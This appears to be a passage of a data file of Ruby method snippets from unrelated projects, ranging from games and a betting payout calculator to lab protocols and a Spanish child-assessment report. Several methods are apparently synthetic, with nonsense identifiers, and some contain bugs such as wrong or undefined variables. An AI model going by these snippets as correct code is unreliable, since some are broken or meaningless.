Instruções de jogabilidade\n puts \"\\n\\n\"\n centralizar(\"Seja bem vindo! Acerte a palavra secreta digitando uma letra por vez.\")\n centralizar(\"Digite \\\"AJUDA\\\" para receber uma nova dica, ou digite \\\"SAIR\\\" para \")\n centralizar(\"sair imediatamente do jogo.\")\n puts \"\\n\"\n centralizar(\"BOA SORTE!!!\")\n puts \"\\n\"\n centralizar(\"Precione ENTER para começar!!!\")\n gets()\n system \"clear\"\n end","def huella_ambiental\r\n energia = 0.0\r\n carbono = 0.0\r\n huella = 0.0\r\n if vct < 670 then\r\n energia = 1.0\r\n elsif vct <= 830 then\r\n energia = 2.0\r\n else\r\n energia = 3.0\r\n end\r\n if gei < 800 then\r\n carbono = 1.0\r\n elsif terrenos <= 1200 then\r\n carbono = 2.0\r\n else\r\n carbono = 3.0\r\n end\r\n huella = (energia + carbono)/2\r\n return huella\r\n \r\n end","def prepare_qiazol_chlfrm_etoh(num_ops)\n reagents = 'QIAzol, Chloroform, & Ethanol'\n \n # prepares fumehood for working with organics\n prepare_fumehood(reagents)\n \n # Calcs the required reagent volumes in mLs\n qia_vol = (num_ops * 0.7) + 0.2#mLs\n chlfrm_vol = (num_ops * 0.44) + 0.2#mLs\n etoh_vol = (num_ops * 0.5) + 0.2#mL\n \n show do\n title \"Aliquoting #{reagents} in the Fume Hood\"\n separator\n note \"Gather a <b>tube rack</b>\"\n note \"Gather <b>#{reagents.split(',').length}</b> falcon tubes that are able to hold the volumes below.\"\n reagents_tab = [\n [\"# of Samples\",\"QIAzol (ml)\", \"Chloroform (ml)\", \"100% Ethanol (ml)\"], \n [num_ops, qia_vol.round(3), chlfrm_vol.round(3), etoh_vol] \n ] \n table reagents_tab\n note \"Leave #{reagents} in fumehood until needed.\"\n note \"<b>Once finished, cap and store properly.</b>\"\n end\n end","def nutritionally(unaffirmed_excisor, undubbed_palindromic)\n hatful_radsimir(dumbfounder, kaka_propheticly)\n end","def test_complex_pronouns\n\t\tassert_equal(\"yes, i rule\", WordPlay.switch_pronouns(\"yes, you rule\"))\n\t\tassert_equal(\"why do i cry\", WordPlay.switch_pronouns(\"why do you cry\"))\n\tend","def therapist_quest; end","def secret_formula(started)\n\tjelly_beans = started * 500\n\tjars = jelly_beans / 1000\n\tcrates = jars / 100\n\treturn jelly_beans, jars, crates\nend","def secret_formula(started)\n\tjelly_beans = started * 500\n\tjars = jelly_beans / 1000\n\tcrates = jars / 100\n\treturn jelly_beans, jars, crates\nend","def secret_formula(started)\n\tjelly_beans = started * 500\n\tjars = jelly_beans / 1000\n\tcrates = jars / 100\n\treturn jelly_beans, jars, crates\nend","def king_richard_iii_quote; end","def sittinae_hooey(scrawny_appulsion, termly)\n end","def deponent_imperative_mutations # :nodoc:\n self.singleton_class.class_eval do\n def active_voice_imperative_mood_present_tense_second_person_singular_number\n return @proxyVerb.instance_variable_get '@present_active_infinitive'\n end\n def active_voice_imperative_mood_present_tense_second_person_plural_number\n return @proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n end\n def active_voice_imperative_mood_future_tense_second_person_singular_number\n k=@proxyVerb.send :passive_voice_indicative_mood_present_tense_second_person_plural_number\n k.sub!(/minī$/, '')\n k += 'tor'\n Linguistics::Latin::Phonographia.fix_macrons k\n end\n end\n end","def phase_one\n\tputs divider\n\tputs \"Phase One\"\n\tputs divider\n\t8.times do \n\t\ttribe_immunity_challenge\n\tend\nend","def ascii_products\n\" _ _ \n | | | | \n _ __ _ __ ___ __| |_ _ ___| |_ ___ \n| '_ \\\\| '__/ _ \\\\ / _` | | | |/ __| __/ __|\n| |_) | | | (_) | (_| | |_| | (__| |_\\\\__ \\\\\n| .__/|_| \\\\___/ \\\\__,_|\\\\__,_|\\\\___|\\\\__|___/\n| | \n|_| \"\n\tend","def lentille_miroir\n if o.lentille\n return \"\n % Dessin de la lentille et des points focaux\n \\\\draw [ultra thick] (-0.5,#{-HAUTEUR+o.fpsign*0.5}) -- (0,-#{HAUTEUR}) -- (0.5,#{-HAUTEUR+o.fpsign*0.5})\n (-0.5,#{ HAUTEUR-o.fpsign*0.5}) -- (0, #{HAUTEUR}) -- (0.5,#{ HAUTEUR-o.fpsign*0.5}) ;\n \\\\filldraw [black] (#{ o.fp},0) circle (2pt) node [above #{right(o.fpsign)}] {$F'$};\n \\\\filldraw [black] (#{-o.fp},0) circle (2pt) node [above #{left(o.fpsign)}] {$F$} ;\n \\\\filldraw [black] (0,0) circle (2pt) node [above right] {$O$} ;\n \"\n else\n return \"\n \\\\draw [ultra thick] (#{-0.5*o.fpsign},#{-HAUTEUR-0.5}) -- (0,-#{HAUTEUR}) \n (#{-0.5*o.fpsign},#{ HAUTEUR+0.5}) -- (0, #{HAUTEUR}) ;\n \\\\filldraw [black] (#{-o.fp},0) circle (2pt) node [above #{right(o.fpsign)}] {$F$};\n \\\\filldraw [black] (#{-2*o.fp},0) circle (2pt) node [above #{left(o.fpsign)}] {$C$} ;\n \\\\filldraw [black] (0,0) circle (2pt) node [above right] {$S$} ;\n \" + (0..(2*HAUTEUR-1)).to_a.map{|e| \"\\\\draw [ultra thick] (0,#{-HAUTEUR+0.5+e}) -- (0.5,#{-HAUTEUR+0.5+e+0.5});\"}.join(\"\\n\")\n end\n end","def virus_effects\r\n predicted_deaths()\r\n speed_of_spread()\r\n end","def virus_effects\r\n predicted_deaths()\r\n speed_of_spread()\r\n end","def preprovide_saily_kainsi(akamatsu_demoniacally)\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\n lid_polytonalism(pneumoenteritis_ribby)\n pricklefish(overdraft, phleboplasty_poleaxe)\n end","def powered_by\n random_and_sane [\n \"Diet Pepsi\",\n \"the funny voice he uses to talk to dogs\",\n \"the love of his life, <a href=\\\"http://thebluesunshine.com/\\\">Lizza</a>\",\n \"hoagies from <a href=\\\"https://foursquare.com/v/sarcones-deli/4a9b035ef964a520fc3320e3\\\">Sarcone's Deli</a>\",\n \"his sweet tooth for #{random_and_sane ['Nerds rope','Mike and Ikes','Peppermint Patties']}\",\n \"any and all potatoes\",\n \"rays of sunshine trickling through his backyard fig tree\"\n ]\n end","def alpha3_terminologic\n self[1]\n end","def alpha3_terminologic\n self[1]\n end","def secret_formula(started)\n jelly_beans = started * 500\n jars = jelly_beans / 1000\n crates = jars / 100\n return jelly_beans, jars, crates\nend","def secret_formula(started)\n jelly_beans = started * 500\n jars = jelly_beans / 1000\n crates = jars / 100\n return jelly_beans, jars, crates\nend","def secret_formula(started)\n jelly_beans = started * 500\n jars = jelly_beans / 1000\n crates = jars / 100\n return jelly_beans, jars, crates\nend","def secret_formula(started)\n jelly_beans = started * 500\n jars = jelly_beans / 1000\n crates = jars / 100\n return jelly_beans, jars, crates\nend","def combat_2ennemi(user_nameP, barret, ennemi1, ennemi2)\n puts ' _________ ________ _____ __________ ________________ '\n puts ' \\_ ___ \\ \\_____ \\ / \\\\______ \\ / _ \\__ ___/ '\n puts ' / \\ \\/ / | \\ / \\ / \\| | _/ / /_\\ \\| | '\n puts ' \\ \\____/ | \\/ Y \\ | \\/ | \\ | '\n puts ' \\______ /\\_______ /\\____|__ /______ /\\____|__ /____| '\n puts ' \\/ \\/ \\/ \\/ \\/ '\n numero_tour = 0\n\n\n while ennemi1.personnage_alive && ennemi2.personnage_alive\n if ennemi1.personnage_hp <= 0\n puts \"\"\n puts \"--------------------------------\"\n puts \"Le #{ennemi1.name} est mort !\"\n puts \"--------------------------------\"\n puts \"\"\n end\n if ennemi2.personnage_hp <= 0\n puts \"\"\n puts \"--------------------------------\"\n puts \"Le #{ennemi2.name} est mort !\"\n puts \"--------------------------------\"\n puts \"\"\n end\n if ennemi1.personnage_hp <= 0 && ennemi2.personnage_hp <= 0\n puts \"\"\n puts \"--------------------------------\"\n puts \"Les ennemis sont morts !\"\n puts \"--------------------------------\"\n total_xp = ennemi1.xp + ennemi2.xp\n puts \"Vous gagnez #{total_xp} points d'XP !\"\n ennemi1.personnage_alive = false\n ennemi2.personnage_alive = false\n\n if ennemi1.loot == '1po'\n $mon_inventaire.addpotion\n puts \"--------------------------------\"\n puts \"1x Potion ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n\n elsif ennemi1.loot == '1gre'\n $mon_inventaire.addgrenade\n puts \"--------------------------------\"\n puts \"1x Grenade ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n\n elsif ennemi1.loot == '1po1gre'\n $mon_inventaire.addpotion\n $mon_inventaire.addgrenade\n puts \"--------------------------------\"\n puts \"1x Potion ajoutée à votre inventaire.\"\n puts \"1x Grenade ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n\n elsif ennemi2.loot == '1po'\n puts \"--------------------------------\"\n puts \"1x Potion ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n $mon_inventaire.addpotion\n\n elsif ennemi2.loot == '1gre'\n puts \"--------------------------------\"\n puts \"1x Grenade ajoutée à votre inventaire.\"\n puts \"--------------------------------\"\n $mon_inventaire.addgrenade\n end\n\n puts \"\"\n elsif ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\n\n numero_tour += 1\n puts \"----------------------------------\"\n puts \"Tour n°#{numero_tour}\"\n puts \"Ennemis : #{ennemi1.name} ET #{ennemi2.name}\"\n puts \"TIRENT A DISTANCE\"\n if ennemi1.personnage_hp > 0\n puts \"POINTS DE VIE : #{ennemi1.name} #{ennemi1.personnage_hp} HP\"\n end\n if ennemi1.personnage_hp <= 0\n puts \"#{ennemi1.name} : mort.\"\n end\n if ennemi2.personnage_hp > 0\n puts \"POINTS DE VIE : #{ennemi2.name} #{ennemi2.personnage_hp} HP\"\n end\n if ennemi2.personnage_hp <= 0\n puts \"#{ennemi2.name} : mort.\"\n end\n puts \"\"\n puts \"Que faites-vous ?\"\n puts \"1. Attaquer\"\n puts \"2. Défendre\"\n puts \"3. Utiliser un objet\"\n user_choice_4 = $stdin.gets.chomp\n if user_choice_4 == \"1\"\n puts \"Qui attaquer ?\"\n if ennemi1.personnage_hp > 0\n puts \"1. #{ennemi1.name}\"\n end\n if ennemi2.personnage_hp > 0\n puts \"2. #{ennemi2.name}\"\n end\n print \"> \"\n user_choice_4_fight = $stdin.gets.chomp\n if user_choice_4_fight == \"1\" && ennemi1.personnage_hp > 0\n puts \"\"\n puts \"BIM !\"\n puts \"Vous attaquez le #{ennemi1.name}.\"\n puts \"Le #{ennemi1.name} réduit les dégats de #{ennemi1.personnage_defense}.\"\n degats_totaux = user_nameP.personnage_attaque - ennemi1.personnage_defense\n puts \"Le #{ennemi1.name} subit #{(user_nameP.personnage_attaque - ennemi1.personnage_defense)} points de dégats !\"\n\n #On fait attaquer Barret\n\n puts \"Barret attaque le #{ennemi1.name}.\"\n puts \"Le #{ennemi1.name} réduit les dégats de #{ennemi1.personnage_defense}.\"\n degats_barret_1 = barret.personnage_attaque - ennemi1.personnage_defense\n puts \"Le #{ennemi1.name} subit #{(barret.personnage_attaque - ennemi1.personnage_defense)} points de dégats !\"\n\n if ennemi1.personnage_hp > 0\n\n ennemi1.personnage_hp -= degats_totaux\n puts \"\"\n puts \"Le #{ennemi1.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \"Il vous reste #{user_nameP.personnage_hp} points de vie.\"\n\n puts \"Le #{ennemi2.name} attaque Barret !\"\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\n puts \"Barret perd #{degats_barret_encaiss} points de vie !\"\n barret.personnage_hp -= degats_barret_encaiss\n puts \"Barret a #{barret.personnage_hp} points de vie.\"\n\n if ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\n puts \"Que faites-vous ?\"\n end\n elsif ennemi1.personnage_hp <= 0 || ennemi2.personnage_hp <= 0\n puts \"\"\n puts \"Le #{ennemi1.name} est mort !\"\n ennemi1.personnage_alive = false\n end\n elsif user_choice_4_fight == \"2\" && ennemi2.personnage_hp > 0\n puts \"\"\n puts \"BIM !\"\n puts \"Vous attaquez le #{ennemi2.name}.\"\n puts \"Le #{ennemi2.name} réduit les dégats de #{ennemi2.personnage_defense}.\"\n degats_totaux = user_nameP.personnage_attaque - ennemi2.personnage_defense\n puts \"Le #{ennemi2.name} subit #{(user_nameP.personnage_attaque - ennemi2.personnage_defense)} points de dégats !\"\n if ennemi2.personnage_hp > 0\n\n ennemi2.personnage_hp -= degats_totaux\n puts \"\"\n puts \"Le #{ennemi2.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi2.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \"Il vous reste #{user_nameP.personnage_hp} points de vie.\"\n\n puts \"Le #{ennemi2.name} attaque Barret !\"\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\n puts \"Barret perd #{degats_barret_encaiss} points de vie !\"\n barret.personnage_hp -= degats_barret_encaiss\n puts \"Barret a #{barret.personnage_hp} points de vie.\"\n\n if ennemi1.personnage_hp > 0 || ennemi2.personnage_hp > 0\n puts \"Que faites-vous ?\"\n end\n elsif ennemi1.personnage_hp <= 0 || ennemi2.personnage_hp <= 0\n puts \"\"\n puts \"Le #{ennemi2.name} est mort !\"\n ennemi2.personnage_alive = false\n end\n end\n elsif user_choice_4 == \"2\"\n puts \"Vous gagnez de la défense !\"\n puts \"Barret gagne de la défense !\"\n user_nameP.personnage_defense += 3\n barret.personnage_defense += 3\n puts \"\"\n puts \"Le #{ennemi1.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \"Le #{ennemi1.name} attaque Barret !\"\n degats_barret_encaiss = ennemi2.personnage_attaque - barret.personnage_defense\n puts \"Barret perd #{degats_barret_encaiss} points de vie !\"\n barret.personnage_hp -= degats_barret_encaiss\n puts \"Barret a #{barret.personnage_hp} points de vie.\"\n\n elsif user_choice_4 ==\"3\"\n if $mon_inventaire.show_potion > 0 || $mon_inventaire.show_grenade > 0\n puts \"Potions : #{$mon_inventaire.show_potion}\"\n puts \"Grenades : #{$mon_inventaire.show_grenade}\"\n puts \"Que voulez-vous utiliser ?\"\n if $mon_inventaire.show_potion > 0\n puts \"1. Une potion.\"\n puts \"2. Rien finalement.\"\n combat2_potion_simple = $stdin.gets.chomp\n\n if combat2_potion_simple == \"1\"\n puts \"Sur qui la lancer ?\"\n puts \"1. Sur vous-même.\"\n puts \"2. Sur Barret.\"\n user_potion_fight = $stdin.gets.chomp\n\n if user_potion_fight == \"1\"\n puts \"Vous regagnez #{50 - user_nameP.personnage_hp} points de vie.\"\n user_nameP.personnage_hp = 50\n $mon_inventaire.removpotion\n elsif user_potion_fight ==\"2\"\n puts \"Barret regagne #{60 - barret.personnage_hp} points de vie.\"\n barret.personnage_hp = 60\n $mon_inventaire.removpotion\n else\n \"Merci d'indiquer un bon chiffre.\"\n end\n puts \"Le #{ennemi1.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \"Que faites-vous ?\"\n elsif combat2_potion_simple == \"2\"\n numero_tour -= 1\n else\n puts \"Merci d'indiquer un nombre pertinent.\"\n numero_tour -=1\n end\n\n elsif $mon_inventaire.show_grenade > 0\n puts \"1. Une grenade !\"\n puts \"2. Rien finalement.\"\n combat2_grenade_simple = $stdin.gets.chomp\n if combat2_grenade_simple == \"1\"\n \"Le #{ennemi1.name} subit 30 points de dégats.\"\n garde1.personnage_hp -= 30\n $mon_inventaire.removgrenade\n elsif combat2_grenade_simple == \"2\"\n numero_tour -= 1\n else\n numero_tour -= 1\n end\n else\n puts \"1. Une potion.\"\n puts \"2. Une grenade !\"\n puts \"3. Rien finalement.\"\n combat2_grenade_ou_potion = $stdin.gets.chomp\n if combat2_grenade_ou_potion == \"1\"\n puts \"Sur qui la lancer ?\"\n puts \"1. Sur #{user_name}.\"\n puts \"2. Sur Barret.\"\n user_potion_fight1 = $stdin.gets.chomp\n\n if user_potion_fight1 == \"1\"\n puts \"Vous regagnez #{50 - user_nameP.personnage_hp} points de vie.\"\n user_nameP.personnage_hp = 50\n $mon_inventaire.removpotion\n elsif user_potion_fight1 ==\"2\"\n puts \"Barret regagne #{60 - barret.personnage_hp} points de vie.\"\n barret.personnage_hp = 60\n $mon_inventaire.removpotion\n else\n \"Merci d'indiquer un bon chiffre.\"\n end\n puts \"Le #{ennemi1.name} vous attaque !\"\n puts \"Vous réduisez ses dégats de #{user_nameP.personnage_defense} !\"\n degats_encaisses = ennemi1.personnage_attaque - user_nameP.personnage_defense\n puts \"Vous perdez #{degats_encaisses} points de vie !\"\n user_nameP.personnage_hp -= degats_encaisses\n puts \" Que faites-vous ?\"\n elsif combat2_grenade_ou_potion == \"2\"\n \"Le #{ennemi1.name} subit 30 points de dégats.\"\n garde1.personnage_hp -= 30\n $mon_inventaire.removgrenade\n elsif combat2_grenade_ou_potion == \"3\"\n numero_tour -= 1\n else\n numero_tour -= 1\n end\n\n\n end\n else\n puts \"Vous n'avez pas d'objet !\"\n numero_tour -= 1\n end\n\n elsif user_choice_4 ==\"i\" || user_choice_4 ==\"I\" && $mon_inventaire.show_potion > 0 || $mon_inventaire.show_grenade > 0\n puts \"\"\n puts '|' + '-'*20 + '|'\n puts \"|INVENTAIRE |\"\n puts '|' + '-'*20 + '|'\n puts \"|Potions : #{$mon_inventaire.show_potion} |\"\n puts \"|Grenades : #{$mon_inventaire.show_grenade} |\"\n puts '|' + '-'*20+ '|'\n numero_tour -= 1\n elsif user_choice_4 ==\"i\" || user_choice_4 ==\"I\"\n puts \"Vous n'avez pas d'objets dans votre inventaire pour l'instant.\"\n numero_tour -= 1\n else\n puts \"\"\n puts \"Je n'ai pas compris. Que faites-vous ?\"\n puts \"\"\n numero_tour -= 1\n end\n end\n end\n\n def afficher_inventaire\n#à compléter\n\n end\nend","def procesar_posible_pago(jugadalot, entrada)\n entrada = entrada[1..(entrada.size-1)] # \".250 => 250\" ok sacar monto apostado ok.\n apostado = entrada.to_f\n \n jugadas = Jugadalot.where(:ticket_id => jugadalot) || []\n \n if (jugadas == []) # esto es posible en rails probado ok. Si no hay jugadas returnal nil para que envie mensaje de realizar jugadas primero ok ted. Ver la logica del progrma que invoca esta funcion ok.\n return nil \n\n else\n #Hay jugadas para procesar la formula del parlay de posible pago ok:\\\n #ganancia = apostado * [coeficiente_jugada_parley_1] * [coeficiente_jugada_parley_2] * [coeficiente_jugada_parley_n] - apostado\n coeficiente_jugada_parley = []\n \n jugadas.each do |jugada|\n b = jugada.ml.to_s\n if( b[0] == \"-\" )# < 0 # -125 mando gavela macho, -110, -170\n coeficiente = (1.to_f + (100.to_f / b.to_f.abs)).to_f.round(4) # trabajar a 4 cifras decimales.\n else\n coeficiente = (1.to_f + ((b.to_f.abs) / 100.to_f)).to_f.round(4) # trabajar a 4 cifras decimales.\n end\n #puts coeficiente\n #debugger\n coeficiente_jugada_parley << coeficiente.to_f.round(4)\n end\n\n #multiplicar los elementos del array para obtener el coeficiente resultante\n #setear algunos casting primero, de string a int para multiplicar con inject\n #coeficiente_jugada_parley.map!(&:to_f) #inject(:*).round(4)\n # coeficiente_resultante = coeficiente_jugada_parley.inject(:*).round(4) # multiplica todos los elementos del array #sacado link:https://stackoverflow.com/questions/7050869/ruby-multiply-all-elements-of-an-array \n \n \n resultante_multiplicar = 1.to_f # 1 es el elemento neutro de la multiplicacion ok ted.\n \n coeficiente_jugada_parley.each do |coeficiente|\n resultante_multiplicar = (resultante_multiplicar.to_f * coeficiente.to_f.round(4)).round(4)\n end\n \n coeficiente_resultante = resultante_multiplicar.to_f.round(4)\n\n ganacia = ( (apostado.to_f * coeficiente_resultante.to_f) - apostado.to_f).to_i\n #ganacia = 18\n acobrar = (apostado + ganacia).to_i\n #lo de abajo comentado es para debug only ok. ted.\n #return apostado, \"#{ganacia}, ticketid:#{jugadalot}, ticketlines: #{jugadas.all.count}, apostado:#{apostado}, coeficiente:#{coeficiente_resultante}, aray:#{coeficiente_jugada_parley.join(\"|\")}, jugadas: #{jugadas.all.count}\", acobrar\n return apostado.to_i, ganacia, acobrar\n\n end # fin del if else end block ok\n \n\n end","def huella_nutricional\n numero1 = self.calculo_valor_calorico_total\n numero2 = self.calculo_emisiones_diarias\n\n if numero1 < 670\n ienergia = 1\n elsif numero1 <=830\n ienergia = 2\n else\n ienergia = 3\n end\n\n if numero2 < 800\n icarbono = 1\n elsif numero2 <= 1200\n icarbono = 2\n else\n icarbono = 3\n end\n\n media = (ienergia + icarbono)/2\n end","def show\n\n @años =(@test.edad/12).truncate\n @meses = (@test.edad % 12).truncate\n\n if @test.ic > 115 then\n @a = \"El/la estudiante ha adquirido las habilidades verbales por encima de lo esperado para su edad.\"\n @b = \"Se sugieren las siguientes estrategias para reforzar los logros de su hijo/a:\"\n\n elsif @test.ic.between?(85, 115) then\n @a = \"El/la estudiante ha adquirido las habilidades verbales esperadas para su edad.\"\n @b = \"Se sugieren las siguientes estrategias para propiciar un mayor vocabulario de su hijo/a:\"\n\n elsif @test.ic < 85 then\n @a = \"El/la estudiante se encuentra en proceso de adquirir las habilidades verbales esperadas para\nsu edad.\"\n@b = \"Se sugieren las siguientes estrategias para incentivar un mayor vocabulario de su hijo/a y\nalcanzar el nivel esperado para su edad:\"\n end\n\n if @test.nivel == \"Inicial\" then \n @c = \"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\nnuevas.\"\n @d = \"Cuéntele y/o léale historias o cuentos a sus hijos. Esta puede ser una manera eficaz y\nentretenida de introducir nuevo vocabulario en ellos. Posteriormente, converse sobre\nlo que les ha leído.\"\n\nelsif @test.nivel == \"1\" then\n @c = \"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\nnuevas.\"\n @d = \"Propicie el hábito de lectura en sus hijos, complementariamente léale cuentos o\nhistorias, o lea con ellos. Esta puede ser una manera eficaz y entretenida de introducir\nnuevo vocabulario en ellos. Posteriormente, converse sobre lo que han leído.\"\n\nelsif @test.nivel == \"2\" then\n @c = \"Conversar con sus hijos puede ser una buena forma de introducir vocabulario nuevo\nen ellos. Pregunte a sus hijos acerca de su día. Incluso los adultos pueden introducir\nnuevo vocabulario a los niños, actuando o ejemplificando el uso de las palabras\nnuevas.\"\n @d = \"Propicie el hábito de lectura en sus hijos, complementariamente léale cuentos o\nhistorias, o lea con ellos. Esta puede ser una manera eficaz y entretenida de introducir\nnuevo vocabulario en ellos. Posteriormente, converse sobre lo que han leído.\"\n end \n\n\n# mate\n\n if @test.icm > 115 then\n @e = \"El/la estudiante ha adquirido las habilidades matemáticas aritméticas básicas por encima de lo\nesperado para su edad.\"\n\n elsif @test.icm.between?(85, 115) then\n @e = \"El/la estudiante ha adquirido las habilidades matemáticas aritméticas básicas esperadas para\nsu edad.\"\n\n elsif @test.icm < 85 then\n @e = \"El/la estudiante se encuentra en proceso de adquirir las habilidades matemáticas aritméticas\nbásicas esperadas para su edad.\"\n end\n\n# Numeración\n\n# 60 a 65\n\nif @test.edad.between?(60, 65) && @test.pi_num > 10 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\nelsif @test.edad.between?(60, 65) && @test.pi_num.between?(8, 10) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\nelsif @test.edad.between?(60, 65) && @test.pi_num < 8 then\n @f = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. \n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\"\n\n# 72 a 77\n\nelsif @test.edad.between?(66, 71) && @test.pi_num > 14 then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números. Los niños deben aprender que después de un número terminado en 9, hay un cambio a la decena siguiente, y una vez que el cambio se ha producido, simplemente se añaden los números del 1 al 9.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños encuentran sorprendente y divertido que los adultos cometan errores y disfrutan señalándolos. El adulto tiene que producir deliberadamente errores de conteo para que el niño los identifique y corrija.\n\n* Jugar con el niño tirando un dado (para mayor complejidad pueden usar más dados) para determinar qué número de objetos han de seleccionarse de un conjunto mayor.\n\n* Jugar el “Número tapado”, consiste en colocar una serie de cartas del 1 al 9, se pide al niño que cierre los ojos y se le da la vuelta a una de ellas ocultando el número. Después, se les pide (señalando la carta anterior) que digan cuál es el número siguiente. Una versión más elaborada supone dar la vuelta a todas las cartas y levantar solo una de ellas. Entonces se pide al niño que diga cuál es el número que va después.\n\n* Para que practiquen el conteo de 10 en 10 se puede jugar un juego en el que los niños tienen que contar con rapidez objetos agrupados en colecciones de diez. Si se prima la velocidad, los niños aprenden rápidamente a contar de 10 en 10.\n\"\n\nelsif @test.edad.between?(66, 71) && @test.pi_num.between?(10, 14) then\n @f = \"El/la estudiante ha adquirido las habilidades de numeración de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Se puede ayudar al niño a aprender la secuencia numérica (sobre todo los primeros 15 números que deben ser memorizados) con rimas infantiles e historias. Luego del 15 hay un patrón para los números y la idea es ayudar al niño a que aprenda las reglas para crear los números.\n\n* Dar oportunidad a los niños para que identifiquen los errores de conteo de los adultos. Los niños pequeños 